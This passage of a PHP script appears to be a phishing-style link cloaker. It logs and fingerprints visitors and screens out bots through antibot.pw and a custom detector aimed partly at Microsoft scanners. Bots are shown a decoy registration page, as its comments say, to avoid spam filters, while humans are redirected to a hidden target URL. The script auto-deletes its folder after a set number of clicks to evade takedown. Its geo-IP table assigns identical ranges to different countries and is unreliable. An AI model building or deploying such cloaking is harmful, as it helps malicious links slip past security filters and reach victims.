        [ip2long('2.0.0.0'), ip2long('2.255.255.255'), 'IT', 'Italy'],
        [ip2long('5.0.0.0'), ip2long('5.255.255.255'), 'IT', 'Italy'],
        [ip2long('31.0.0.0'), ip2long('31.255.255.255'), 'IT', 'Italy'],
        [ip2long('37.0.0.0'), ip2long('37.255.255.255'), 'IT', 'Italy'],
        [ip2long('46.0.0.0'), ip2long('46.255.255.255'), 'IT', 'Italy'],
        [ip2long('77.0.0.0'), ip2long('95.255.255.255'), 'IT', 'Italy'],
        [ip2long('151.0.0.0'), ip2long('151.255.255.255'), 'IT', 'Italy'],
        [ip2long('176.0.0.0'), ip2long('178.255.255.255'), 'IT', 'Italy'],
        
        // === OCEANIA ===
        // Australia
        [ip2long('1.0.0.0'), ip2long('1.0.15.255'), 'AU', 'Australia'],
        [ip2long('1.32.0.0'), ip2long('1.47.255.255'), 'AU', 'Australia'],
        [ip2long('14.0.0.0'), ip2long('14.7.255.255'), 'AU', 'Australia'],
        [ip2long('27.0.0.0'), ip2long('27.255.255.255'), 'AU', 'Australia'],
        [ip2long('49.0.0.0'), ip2long('49.255.255.255'), 'AU', 'Australia'],
        [ip2long('58.0.0.0'), ip2long('58.255.255.255'), 'AU', 'Australia'],
        [ip2long('101.0.0.0'), ip2long('101.255.255.255'), 'AU', 'Australia'],
        [ip2long('103.0.0.0'), ip2long('103.255.255.255'), 'AU', 'Australia'],
        [ip2long('110.0.0.0'), ip2long('110.255.255.255'), 'AU', 'Australia'],
        [ip2long('114.0.0.0'), ip2long('114.255.255.255'), 'AU', 'Australia'],
        [ip2long('115.0.0.0'), ip2long('115.255.255.255'), 'AU', 'Australia'],
        [ip2long('118.0.0.0'), ip2long('118.255.255.255'), 'AU', 'Australia'],
        [ip2long('119.0.0.0'), ip2long('119.255.255.255'), 'AU', 'Australia'],
        [ip2long('120.0.0.0'), ip2long('121.255.255.255'), 'AU', 'Australia'],
        [ip2long('122.0.0.0'), ip2long('124.255.255.255'), 'AU', 'Australia'],
        
        // New Zealand
        [ip2long('27.0.0.0'), ip2long('27.255.255.255'), 'NZ', 'New Zealand'],
        [ip2long('49.0.0.0'), ip2long('49.255.255.255'), 'NZ', 'New Zealand'],
        [ip2long('58.0.0.0'), ip2long('58.255.255.255'), 'NZ', 'New Zealand'],
        [ip2long('101.0.0.0'), ip2long('101.255.255.255'), 'NZ', 'New Zealand'],
        [ip2long('103.0.0.0'), ip2long('103.255.255.255'), 'NZ', 'New Zealand'],
        [ip2long('110.0.0.0'), ip2long('110.255.255.255'), 'NZ', 'New Zealand'],
        [ip2long('114.0.0.0'), ip2long('114.255.255.255'), 'NZ', 'New Zealand'],
        [ip2long('115.0.0.0'), ip2long('115.255.255.255'), 'NZ', 'New Zealand'],
        [ip2long('118.0.0.0'), ip2long('118.255.255.255'), 'NZ', 'New Zealand'],
        [ip2long('119.0.0.0'), ip2long('119.255.255.255'), 'NZ', 'New Zealand'],
        [ip2long('120.0.0.0'), ip2long('121.255.255.255'), 'NZ', 'New Zealand'],
        [ip2long('122.0.0.0'), ip2long('124.255.255.255'), 'NZ', 'New Zealand'],
        
        // === SOUTH AMERICA ===
        // Brazil
        [ip2long('177.0.0.0'), ip2long('177.255.255.255'), 'BR', 'Brazil'],
        [ip2long('179.0.0.0'), ip2long('179.255.255.255'), 'BR', 'Brazil'],
        [ip2long('186.0.0.0'), ip2long('191.255.255.255'), 'BR', 'Brazil'],
        [ip2long('200.0.0.0'), ip2long('201.255.255.255'), 'BR', 'Brazil'],
        
        // Argentina
        [ip2long('181.0.0.0'), ip2long('181.255.255.255'), 'AR', 'Argentina'],
        [ip2long('190.0.0.0'), ip2long('190.255.255.255'), 'AR', 'Argentina'],
        [ip2long('200.0.0.0'), ip2long('201.255.255.255'), 'AR', 'Argentina'],
        
        // === AFRICA ===
        // South Africa
        [ip2long('41.0.0.0'), ip2long('41.255.255.255'), 'ZA', 'South Africa'],
        [ip2long('102.0.0.0'), ip2long('105.255.255.255'), 'ZA', 'South Africa'],
        [ip2long('154.0.0.0'), ip2long('156.255.255.255'), 'ZA', 'South Africa'],
        [ip2long('196.0.0.0'), ip2long('197.255.255.255'), 'ZA', 'South Africa'],
        
        // Nigeria
        [ip2long('41.0.0.0'), ip2long('41.255.255.255'), 'NG', 'Nigeria'],
        [ip2long('102.0.0.0'), ip2long('105.255.255.255'), 'NG', 'Nigeria'],
        [ip2long('154.0.0.0'), ip2long('156.255.255.255'), 'NG', 'Nigeria'],
        [ip2long('196.0.0.0'), ip2long('197.255.255.255'), 'NG', 'Nigeria'],
        
        // Egypt
        [ip2long('41.0.0.0'), ip2long('41.255.255.255'), 'EG', 'Egypt'],
        [ip2long('102.0.0.0'), ip2long('105.255.255.255'), 'EG', 'Egypt'],
        [ip2long('154.0.0.0'), ip2long('156.255.255.255'), 'EG', 'Egypt'],
        [ip2long('196.0.0.0'), ip2long('197.255.255.255'), 'EG', 'Egypt'],
        
        // === MIDDLE EAST ===
        // UAE
        [ip2long('5.0.0.0'), ip2long('5.255.255.255'), 'AE', 'UAE'],
        [ip2long('31.0.0.0'), ip2long('31.255.255.255'), 'AE', 'UAE'],
        [ip2long('37.0.0.0'), ip2long('37.255.255.255'), 'AE', 'UAE'],
        [ip2long('46.0.0.0'), ip2long('46.255.255.255'), 'AE', 'UAE'],
        [ip2long('78.0.0.0'), ip2long('78.255.255.255'), 'AE', 'UAE'],
        [ip2long('82.0.0.0'), ip2long('82.255.255.255'), 'AE', 'UAE'],
        [ip2long('85.0.0.0'), ip2long('85.255.255.255'), 'AE', 'UAE'],
        
        // Saudi Arabia
        [ip2long('5.0.0.0'), ip2long('5.255.255.255'), 'SA', 'Saudi Arabia'],
        [ip2long('31.0.0.0'), ip2long('31.255.255.255'), 'SA', 'Saudi Arabia'],
        [ip2long('37.0.0.0'), ip2long('37.255.255.255'), 'SA', 'Saudi Arabia'],
        [ip2long('46.0.0.0'), ip2long('46.255.255.255'), 'SA', 'Saudi Arabia'],
        [ip2long('78.0.0.0'), ip2long('78.255.255.255'), 'SA', 'Saudi Arabia'],
        [ip2long('82.0.0.0'), ip2long('82.255.255.255'), 'SA', 'Saudi Arabia'],
        [ip2long('85.0.0.0'), ip2long('85.255.255.255'), 'SA', 'Saudi Arabia'],
        
        // Turkey
        [ip2long('2.0.0.0'), ip2long('2.255.255.255'), 'TR', 'Turkey'],
        [ip2long('5.0.0.0'), ip2long('5.255.255.255'), 'TR', 'Turkey'],
        [ip2long('31.0.0.0'), ip2long('31.255.255.255'), 'TR', 'Turkey'],
        [ip2long('37.0.0.0'), ip2long('37.255.255.255'), 'TR', 'Turkey'],
        [ip2long('46.0.0.0'), ip2long('46.255.255.255'), 'TR', 'Turkey'],
        [ip2long('78.0.0.0'), ip2long('95.255.255.255'), 'TR', 'Turkey'],
        [ip2long('176.0.0.0'), ip2long('178.255.255.255'), 'TR', 'Turkey'],
    ];
    
    // Check IP against ranges
    foreach ($ranges as $range) {
        if ($ipLong >= $range[0] && $ipLong <= $range[1]) {
            return $range[2] . ' - ' . $range[3] . ' [Offline]';
        }
    }
    
    // Final fallback
    return 'Unknown';
}

// === Parse User Agent ===
function parseUserAgent($ua) {
    $browser = 'Unknown';
    $os = 'Unknown';
    $device = 'Desktop';
    
    // Detect Device & OS (Mobile/Tablet first, then Desktop)
    if (preg_match('/Android/i', $ua)) {
        $os = 'Android';
        if (preg_match('/Mobile/i', $ua)) {
            $device = 'Mobile';
        } else {
            $device = 'Tablet';
        }
    } elseif (preg_match('/iPad/i', $ua)) {
        $os = 'iOS';
        $device = 'Tablet';
    } elseif (preg_match('/iPhone|iPod/i', $ua)) {
        $os = 'iOS';
        $device = 'Mobile';
    } elseif (preg_match('/Windows Phone/i', $ua)) {
        $os = 'Windows Phone';
        $device = 'Mobile';
    } elseif (preg_match('/Windows NT/i', $ua)) {
        $os = 'Windows';
        $device = 'Desktop';
    } elseif (preg_match('/Mac OS X/i', $ua)) {
        $os = 'macOS';
        $device = 'Desktop';
    } elseif (preg_match('/Linux/i', $ua)) {
        $os = 'Linux';
        $device = 'Desktop';
    }
    
    // Detect Browser
    if (preg_match('/Edg\//i', $ua)) {
        $browser = 'Edge';
    } elseif (preg_match('/Chrome/i', $ua) && !preg_match('/Edg/i', $ua)) {
        $browser = 'Chrome';
    } elseif (preg_match('/Safari/i', $ua) && !preg_match('/Chrome/i', $ua)) {
        $browser = 'Safari';
    } elseif (preg_match('/Firefox/i', $ua)) {
        $browser = 'Firefox';
    } elseif (preg_match('/MSIE|Trident/i', $ua)) {
        $browser = 'IE';
    }
    
    return ['browser' => $browser, 'os' => $os, 'device' => $device];
}

// === Logging ===
function logAccess($token, $ref, $botDetection, $action) {
    global $logFile;
    
    // Set timezone to Indonesia (WIB)
    date_default_timezone_set('Asia/Jakarta');
    
    $ip = $_SERVER['REMOTE_ADDR'];
    $ua = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown';
    $uaInfo = parseUserAgent($ua);
    
    // Get country (with caching to avoid too many API calls)
    static $countryCache = [];
    if (!isset($countryCache[$ip])) {
        $countryCache[$ip] = getCountryFromIP($ip);
    }
    
    $entry = [
        'timestamp' => date('Y-m-d H:i:s'),
        'unix_time' => time(),
        'hour' => (int)date('H'),
        'day_of_week' => date('l'),
        'ip' => $ip,
        'country' => $countryCache[$ip],
        'ua' => $ua,
        'browser' => $uaInfo['browser'],
        'os' => $uaInfo['os'],
        'device' => $uaInfo['device'],
        'token' => $token,
        'ref' => $ref,
        'bot_score' => $botDetection['score'],
        'bot_type' => $botDetection['type'] ?? 'unknown',
        'bot_reasons' => implode(', ', $botDetection['reasons']),
        'action' => $action
    ];
    file_put_contents($logFile, json_encode($entry) . "\n", FILE_APPEND);
}

// === Deprecated: Old StopBot Integration (not used anymore) ===
/*
function checkStopBot($ip, $ua, $url) {
    // This function is deprecated and replaced by checkAntibot()
    // Kept for reference only
}
*/

// === Antibot.pw Integration ===
function checkAntibot($ip, $ua, $apikey) {
    if (empty($apikey)) {
        return ['block' => false, 'reason' => 'Antibot.pw disabled'];
    }
    
    // kalau localhost, ganti ke IP publik contoh
    if ($ip === '127.0.0.1' || $ip === '::1') {
        $ip = '23.200.91.255';
    }
    
    // kalau nggak ada IP atau UA, anggap bot
    if (!$ip || empty($ua)) {
        return ['block' => true, 'reason' => 'Missing IP or UA'];
    }
    
    // Endpoint resmi antibot.pw
    $endpoint = 'https://antibot.pw/api/v2-blockers';
    
    $query = http_build_query([
        'ip'     => $ip,
        'apikey' => $apikey,
        'ua'     => $ua,
    ]);
    
    // Use cURL or file_get_contents
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL            => $endpoint . '?' . $query,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT        => 5,
        ]);
        $response = curl_exec($ch);
        curl_close($ch);
    } else {
        $response = @file_get_contents($endpoint . '?' . $query);
    }
    
    if ($response === false || $response === null || $response === '') {
        // API error, fail-open (allow traffic)
        return ['block' => false, 'reason' => 'Antibot.pw API timeout'];
    }
    
    $json = json_decode($response, true);
    if (!is_array($json)) {
        return ['block' => false, 'reason' => 'Antibot.pw API error'];
    }
    
    // Bot detected
    if (!empty($json['is_bot'])) {
        return ['block' => true, 'reason' => 'Antibot.pw: Bot detected'];
    }
    
    return ['block' => false, 'reason' => 'Antibot.pw passed'];
}

// === Main Logic ===

// Step 1: Validate parameters
if (!isValidToken($token) || !isValidRef($ref) || !isValidUtm($utm)) {
    // Track invalid requests
    $settings['blocked_bots']++;
    if (!isset($settings['invalid_requests'])) {
        $settings['invalid_requests'] = 0;
    }
    $settings['invalid_requests']++;
    
    // Log the invalid attempt
    logAccess($token ?? 'none', $ref ?? 'none', ['score' => 100, 'reasons' => ['Invalid parameters'], 'type' => 'invalid'], 'blocked_invalid_params');
    file_put_contents($dataFile, json_encode($settings, JSON_UNESCAPED_SLASHES));
    
    http_response_code(404);
    ?>
    <!DOCTYPE html>
    <html><head><title>Page Not Found</title></head>
    <body><h1>404 Not Found</h1><p>The page you're looking for doesn't exist.</p></body>
    </html>
    <?php
    exit;
}

// Step 2: Check if verified (passed JS check)
if ($settings['enable_js_check'] && empty($verified)) {
    // Serve JS verification page
    $expectedVerify = hash('sha256', $token . $ref . $utm . date('Ymd'));
    ?>
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <meta name="robots" content="noindex, nofollow">
        <title>Please Wait...</title>
        <style>
            body { margin: 0; padding: 0; background: white; }
        </style>
    </head>
    <body>
        <script>
            const fingerprint = {
                screen: screen.width + 'x' + screen.height,
                timezone: new Date().getTimezoneOffset(),
                language: navigator.language,
                platform: navigator.platform,
                hasTouch: 'ontouchstart' in window,
                timestamp: Date.now()
            };
            
            const verify = '<?= $expectedVerify ?>';
            const url = new URL(window.location.href);
            url.searchParams.set('_v', verify);
            url.searchParams.set('_fp', btoa(JSON.stringify(fingerprint)));
            
            const delay = <?= $settings['enable_timing_check'] ? '800 + Math.random() * 400' : '300' ?>;
            setTimeout(() => {
                window.location.replace(url.toString());
            }, delay);
        </script>
    </body>
    </html>
    <?php
    exit;
}

// Step 3: Validate verification
if ($settings['enable_js_check']) {
    $expectedVerify = hash('sha256', $token . $ref . $utm . date('Ymd'));
    if ($verified !== $expectedVerify) {
        // Invalid verification - show fake register
        $settings['blocked_bots']++;
        logAccess($token, $ref, ['score' => 100, 'reasons' => ['Invalid verification']], 'blocked_invalid_verify');
        file_put_contents($dataFile, json_encode($settings, JSON_UNESCAPED_SLASHES));
        include __DIR__ . '/decoy-register.html';
        exit;
    }
}

// === LAYER 1: Antibot.pw Check (if enabled) ===
if (!empty($settings['enable_antibot'])) {
    // Check session first to avoid multiple API calls
    if (!isset($_SESSION['antibot_checked'])) {
        $_SESSION['antibot_checked'] = true;
        
        // Call Antibot.pw API
        $antibotResult = checkAntibot(
            $_SERVER['REMOTE_ADDR'] ?? '',
            $_SERVER['HTTP_USER_AGENT'] ?? '',
            $settings['antibot_apikey'] ?? ''
        );
        
        if ($antibotResult['block']) {
            $_SESSION['antibot_is_bot'] = true;
        }
    }
    
    // If marked as bot by Antibot.pw
    if (!empty($_SESSION['antibot_is_bot'])) {
        $settings['blocked_bots']++;
        $settings['blocked_bots_antibot']++;
        
        logAccess($token, $ref, ['score' => 100, 'reasons' => ['Antibot.pw: Bot detected']], 'blocked_antibot');
        file_put_contents($dataFile, json_encode($settings, JSON_UNESCAPED_SLASHES));
        
        // Serve decoy page directly (NO REDIRECT to avoid spam filter)
        include __DIR__ . '/decoy-register.html';
        exit;
    }
}

// === LAYER 2: Our Custom Bot Detection ===
$botDetection = detectBot();
$isBot = $botDetection['score'] >= $settings['bot_threshold'];

if ($isBot) {
    // Bot detected by our system
    $settings['blocked_bots']++;
    
    // Increment specific bot type counter
    if ($botDetection['type'] === 'microsoft') {
        $settings['blocked_bots_microsoft']++;
    } else {
        $settings['blocked_bots_generic']++;
    }
    
    logAccess($token, $ref, $botDetection, 'blocked_bot_decoy');
    file_put_contents($dataFile, json_encode($settings, JSON_UNESCAPED_SLASHES));
    
    // Serve fake register page directly (NO REDIRECT to avoid spam filter)
    include __DIR__ . '/decoy-register.html';
    exit;
}

// === LAYER 3: Human - Allow Access ===
$settings['clicks']++;
logAccess($token, $ref, $botDetection, 'allowed_human');
file_put_contents($dataFile, json_encode($settings, JSON_UNESCAPED_SLASHES));

// Check if auto-delete is enabled and limit reached
if (!empty($settings['auto_delete_enabled']) && 
    $settings['clicks'] >= ($settings['auto_delete_clicks'] ?? 10)) {
    
    // Schedule folder deletion after redirect
    register_shutdown_function(function() {
        // Wait a bit to ensure redirect completes
        sleep(2);
        
        // Delete current folder recursively
        $currentDir = __DIR__;
        $folderName = basename($currentDir);
        
        // Only delete if folder name matches pattern (6 alphanumeric)
        if (preg_match('/^[a-z0-9]{6}$/', $folderName)) {
            deleteFolder($currentDir);
        }
    });
}

// Process target URL with placeholders
$targetUrl = $settings['target_url'];

// Replace placeholders with random values
$placeholders = [
    '{session}' => bin2hex(random_bytes(16)),
    '{ref}' => mt_rand(100000, 999999),
    '{token}' => bin2hex(random_bytes(16)),
    '{id}' => bin2hex(random_bytes(12)),
    '{code}' => strtoupper(bin2hex(random_bytes(4))),
    '{timestamp}' => time(),
    '{random}' => bin2hex(random_bytes(8)),
    '{hex32}' => bin2hex(random_bytes(16)),
    '{hex16}' => bin2hex(random_bytes(8)),
    '{num6}' => mt_rand(100000, 999999),
    '{num8}' => mt_rand(10000000, 99999999),
    '{alphanum}' => substr(str_shuffle('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'), 0, 8)
];

foreach ($placeholders as $placeholder => $value) {
    $targetUrl = str_replace($placeholder, $value, $targetUrl);
}

// Redirect to target URL
header("Location: " . $targetUrl, true, 302);
exit;

// Helper function for recursive folder deletion
function deleteFolder($dir) {
    if (!file_exists($dir)) return;
    if (!is_dir($dir)) return unlink($dir);
    
    $files = array_diff(scandir($dir), ['.', '..']);
    foreach ($files as $file) {
        $path = $dir . '/' . $file;
        is_dir($path) ? deleteFolder($path) : unlink($path);
    }
    return rmdir($dir);
}

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